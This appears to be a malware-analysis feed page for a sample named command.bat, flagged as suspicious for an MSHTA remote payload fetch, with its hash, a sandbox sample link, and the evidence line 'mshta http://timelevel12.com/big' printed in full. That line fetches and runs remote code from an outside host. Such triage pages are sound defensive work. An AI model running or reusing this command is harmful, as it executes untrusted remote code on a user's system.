Suspicious 80% Download

command.bat

MSHTA remote payload fetch

MSHTA remote payload fetchCleartext http:// URL
SHA-25622bef856ef9d32d44d4ad4cc7fe8b464b148416ea3ec8b7b67e8f6ef6c13ab64
URLhttps://tria.ge/api/v0/samples/260929-ras6tstt2l/sample
MaleculeO(C)H₂(CmPo)

Evidence

MSHTA remote payload fetch line 1
1mshta http://timelevel12.com/big

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.